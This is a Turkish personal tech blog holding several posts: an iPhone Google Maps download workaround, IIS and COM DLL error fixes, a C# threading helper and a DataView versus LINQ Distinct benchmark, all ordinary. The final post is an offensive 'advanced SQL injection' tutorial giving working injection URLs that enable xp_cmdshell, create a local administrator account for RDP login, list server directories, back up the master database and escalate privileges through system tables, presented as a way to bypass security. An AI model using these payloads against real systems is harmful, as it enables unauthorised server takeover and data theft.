19 Nisan 2013 Cuma

Türkiye'de kayıtlı iPhone'a Google Map indirmek


En son IOS güncellemesi ile Apple şirketi kendi harita uygulamasını sunmuştu. Yeni haritası ile konum bulmak oldukça zor. Apple'ın daha önce kullandığı Google Map uygulaması Türkiye Apple Store'a açık olmadığından,  browser ile Google Map açıp,  ulaşmak istediğim noktayı bulmaya çalışıyordum.  Bu zor durumdan kurtulmanın bir yolu olduğunu fark ettim ve sizinle de paylaşmak istedim.


İşlemimiz çok kolay, Çözüm: hesabımızın tanımlı olduğu ülke bilgisini "United States" olarak ayarlamak ve uygulamayı indirmek :). Fakat bu yöntemi  iPhone üzerinden denediğimizde,uygulamayı indirirken sorun oluyor. Bu değiştirme sürecini iTunes üzerinden denediğimde başarılı bir şekilde Google Map uygulamasını indirebildiğimizi gördüm :)  İndirdikten sonra tekrar ülke konumunu Türkiye yapabilirsiniz :) 

Adım adım ülke değişimi ve sonucu ;






Not: Ödeme türü olarak "None" seçelim.




iPhone'daki hali :)

8 Nisan 2013 Pazartesi

LoadLibraryEx failed on aspnet_filter.dll (ISAPI) (Error - Solution)

Localhost da aldığım bir hata ve çözüm yolu;

LoadLibraryEx çağrısı ISAPI "C:\Windows\Microsoft.NET\Framework\v4.0.30319\\aspnet_filter.dll





Çözüm için;


INETMGR (IIS Manager) üzerinde "ISAPI Filters" kısmında ASP.NET_4.0.30319.0 dışındaki "4.0_" la başlıyan filter dll lerini silelim. (aşağıdaki sarı ile işaretli olanları.)



Ayrıca "ISAPI and CGI Restrictions" bölümünden aşağıdaki gibi v4.0.30319 için izin verilmiş olması gerekmektedir.


5 Nisan 2013 Cuma

Returning a value from a thread - .NET

Basit bir paket gönderme programında oluşturduğum thread ler içerisindeki iş fonksiyonlarından sonuçları asekron bir şekilde okumam için yazdığım dinamik sınıf aşağıdadır.

ThreadExecuter sınıfım Thread içersinde çalıştırılacak sınıf fonsiyonu ve sonunda değer döndürecek bir fonksiyon istemektedir.
 
 
    public class ThreadExecuter where T : class
    {
        public delegate void CallBack (T returnValue);
        public delegate T Method();
        private CallBack callBack;
        private Method method;

        private Thread t;

        public ThreadExecuter(Method _method, CallBack _callBack)
        {
            this.method = _method;
            this.callBack = _callBack;

            t = new Thread(this.Process);
        }

        public void Start() 
        {
            t.Start();
        }

        public void Abort()
        {
            t.Abort();
            callBack(null);
        }

        public void Join()
        {
            t.Join();
        }

        private void Process()
        {
            callBack(method());
        }
    }

Test ordamında kodumuzu deniyelim.

 
namespace Tester
{
    class Program
    {
        static void Main(string[] args)
        {
            #region [ Paket Data]
             ...
            #endregion

            for (int i = 0; i < 20; i++)
            {
                Packet packet = new Packet() { Data = data, Host = "www.google.com.tr", Port = 80, Id = i };
                SocketManager sm = new SocketManager() { packet = packet };

                ThreadExecuter te = new ThreadExecuter(sm.Send, writeScreen);
                te.Start();
            }

            Console.WriteLine("bitti.");
            Console.ReadKey();
        }

        private static void writeScreen(Packet p)
        {
            Console.WriteLine(p.Id + " - " + p.Status.ToString());
        }
    }
}
 

Eğer ki Join kullanarak gerçekleştirdiğimizde ;

 ThreadExecuter te = new ThreadExecuter(sm.Send, writeScreen);
                te.Start();
                te.Join();



7 Mart 2013 Perşembe

Register COM dll on windows 64-bit

Karşılaştığım ve biraz zamanımı alan sorundan bahsedeceğim. 32bit COM dll i, 64bit windows sunucu üzerinde IIS de ASP.NET projesini çalıştırdığımızda aşağıdaki hata ile karşılaşırız.

Retrieving the COM class factory for component with CLSID {...} failed due to the following error: 80040154 Class not registered (Exception from HRESULT: 0x80040154 (REGDB_E_CLASSNOTREG)).

Aşağıdaki komut ile COM DLL i sisteme tanıtsanız bile, hata devam etmektedir.


c:\windows\system32\regsvr32.exe < filename >.dll

Sorunu çözmek için IIS - pool tarafında ufak bir işlem ile bu sorunu aşmanız mümkün. "Enable 32 bit applications" özelliğini aktifleştirmek gerekir. 



Sorunumuz böylece çözülmüş olacaktır ;)

iyi çalışmalar...

12 Ocak 2013 Cumartesi

Distinct : DataView.ToTable Vs Linq


Büyük veriler üzerinde işlem yaparken, kullandığımız yönteme çok dikkat etmeliyiz.

Projelerden birinde 350.000 satırlık veri kümesi üzerinde işlemler yapıp, düzenli bir veri modeline dönüştüreceğim. işlemler sırasında Distinct() işlemi uygulamam gerekmekteydi. 2 yöntem kullanarak işlemi gerçekleştirdim ve aralarındaki uçurum inanılmaz farklı çıktı.

Distinct -> DataView.ToTable Vs Linq

veri sayımız küçük olduğunda DataView.ToTable ile işlem yapmasında performanse çok sorun oluşturmuyor gibi. ama veri kümesi arttıkça inanılmaz bir yavaşlama söz konusu. bu yavaşlamayı en kolay linq ile kolaylıkla çözmekteyiz.

Performans test kodları ve sonuçları;


data.DefaultView.ToTable(true, "Id", "Name", "Role", "DC1", "DC2", "DC3", "DC4", "DC5", "DC6", "DC7");
VS
data.AsEnumerable().Distinct(System.Data.DataRowComparer.Default).ToList();

Veri kümemizi oluşturma işlemi;
private static DataTable GenerateTable(int noOfRows, int modules)
{
    DataTable dt = new DataTable();
    dt.Columns.Add("Id", typeof(int));
    dt.Columns.Add("Name", typeof(string));
    dt.Columns.Add("Role", typeof(string));
    dt.Columns.Add("DC1", typeof(string));
    dt.Columns.Add("DC2", typeof(string));
    dt.Columns.Add("DC3", typeof(string));
    dt.Columns.Add("DC4", typeof(string));
    dt.Columns.Add("DC5", typeof(string));
    dt.Columns.Add("DC6", typeof(string));
    dt.Columns.Add("DC7", typeof(string));

    for (int i = 0; i < noOfRows; i++)
    {
        int id = i % modules;
        dt.Rows.Add(new object[] { id, "Test" + id.ToString(), "Test" + id.ToString(), "Test" + id.ToString(), "Test" + id.ToString(), "Test" + id.ToString(), "Test" + id.ToString(), "Test" + id.ToString(), "Test" + id.ToString(), "Test" + id.ToString() });
    }
    return dt;
}

Performans hesaplama kısmı;
 
static void Main(string[] args)
{
    Display display = null;
    for (int i = 1; i < 1000; i += 100)
    {
        DataTable data = GenerateTable(1000 * i, 10 * i);

        display = new Display();

        sw.Start();
        DataTable distictData = data.DefaultView.ToTable(true, "Id", "Name", "Role", "DC1", "DC2", "DC3", "DC4", "DC5", "DC6", "DC7");
        display.ItemsInfo = data.Rows.Count + "/" + distictData.Rows.Count;
        display._ToTable = sw.ElapsedMilliseconds;
        sw.Stop();

        sw.Restart();
        var result = data.AsEnumerable().Distinct(System.Data.DataRowComparer.Default).ToList();
        display._Linq = sw.ElapsedMilliseconds;
        sw.Stop();

        list.Add(display);
    }

    writeConsole();

    Console.ReadKey();
}
 
private static void writeConsole()
{
    Console.WriteLine("ItemCount/DistinctItem  |  DataView ToTable   |   Linq");
    foreach (Display d in list)
    {
        Console.WriteLine(string.Format("         {0}            |         {1}         |   {2}", d.ItemsInfo, d._ToTable, d._Linq));
    }
}

Sonuçlar milliseconds olarak verilmektedir.

Bunun dışında Microsoft un yayınladığı bir makale daha var. Genel performans için dikkat edilmesi gerekenler.

Performance Tips and Tricks in .NET Applications -> http://msdn.microsoft.com/en-us/library/ms973839.aspx

7 Ocak 2013 Pazartesi

Gelişmiş SQL Enjeksiyon İşlemleri (Advanced Sql Injection)

Yazımda en çok bilinen standart sql injection komutlarından bahsetmek yerine onlarla ilgili çok eskiden yazdığım dökümanları en aşağıda yayınlamaktayım.

Bu seferki yazımda Sql injection ile MSSQL üzerinde sınırları zorlayacağız. :) örneğin cmdshell komutu üzerinden RDP kullanıcı oluşturma, dosya dizinlerine erişme, ping işlemleri vs.. en önemlisi ise mevcut güvenlik önlemlerini aşarak :) bu işlemleri kolaylıkla yapıyor olmak.

Öncelikle xp_cmdshell yetkisi kontrolü yapalım.

 viewdetail.aspx?test=22';EXEC xp_cmdshell 'ping 127.0.0.1';--

SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', see "Surface Area Configuration" in SQL Server Books Online.

şekilde hata alabiliriz. 'xp_cmdshell' için gerekli izinleri verelim ;) aşağıdaki komut satırlarını sırası ile uygulayalım.

viewdetail.aspx?test=22';EXEC sp_configure 'show advanced options',1;RECONFIGURE;--

viewdetail.aspx?test=22';EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;--

gerekli izinler, paremtreler düzenlenmiş oldu. :) hadi hemen RDP kullanıcı açalım. arkasından kullanıcımızı administrator grubuna ekliyelim.

viewdetail.aspx?test=22';exec master..xp_cmdshell 'net user ejder ejder /add';--

viewdetail.aspx?test=22';exec master..xp_cmdshell 'net localgroup administrators ejder /add';--

site üzerinde uyguladığımızda hata döndürmedi ise :) sorunsuz işliyor demektir. şimdi rdp ile bağlanmak için son adım kalıyor. o da CMD üzerinden "ping www.hedefsite.com" yazdığımızda çıkan IP adresine RDP ile bağlanmaktır. Kullanıcı Adı: ejder, şifre: ejder

"xp_cmdshell" üzerinden dilediğimizi yapabiliriz :) sunucu üzerinde "dir c:\" yazıp dosya sistemine erişebilirsiniz. db backup, dosya yaratma vs... Fakat rdp oluşturunca bu kadar kasmaya gerek bile kalmıyacak. herşey elinizin altında olacak :)

örnek;

viewdetail.aspx?test=22';drop table zEj create table zEj(ID int identity,Str varchar(1000)) insert into zEj exec master..xp_cmdshell 'dir /b C:\';--

bu örneğimizde C dizinindeki sonucu , zEj tablosuna yazdırıyorum. ordan datayı okuyup, bilgiye ulaşabiliriz.

Database in backup olarak almak için;

viewdetail.aspx?test=22';BACKUP database master to disk='1.zip';--


"OpenRowset/OpenDatasource" işlemleri için gerekli izin ve paremetrelerin sırası ile çalıştırılması gerekmektedir.

viewdetail.aspx?test=22';exec sp_configure 'show advanced options',0;RECONFIGURE;--
viewdetail.aspx?test=22';exec sp_configure 'Ole Automation Procedures',0;RECONFIGURE;--
viewdetail.aspx?test=22';exec sp_configure 'Ad Hoc Distributed Queries',0;RECONFIGURE;--

Evet, şimdide Guest hesabı , DB_OWNER olarak değiştirmek :) BUILTIN\ADMINISTRATORS grubuna ekleme işlemi sırasıyla;

viewdetail.aspx?test=22';exec sp_executesql N'create view dbo.test as select * from master.dbo.sysusers'

exec sp_msdropretry 'xx update sysusers set sid=0×01 where name="dbo"','xx' exec sp_msdropretry 'xx update dbo.test set sid=0×01,roles=0×01 where name=”guest"','xx' exec sp_executesql N'drop view dbo.test'--

viewdetail.aspx?test=22';exec sp_executesql N'create view dbo.test as select * from master.dbo.sysxlogins' exec sp_msdropretry 'xx update sysusers set sid=0×01 where name="dbo"','xx' exec sp_msdropretry 'xx update dbo.test set xstatus=18 where name="BUILTIN\ADMINISTRATORS"','xx' exec sp_executesql N'drop view dbo.test'--


Sql injection dökümanı için -> https://docs.google.com/open?id=0ByRFI3ULXVPuTlJZUmlDNVdwMW8

 5 sene önce yazdığım Sql injection yazılımı, dökümanı ve anlatım videosu ektedir.. https://rapidshare.com/files/2167494494/SqlInjv2.rar  video için ise aşağıdadır.


Öner KAYA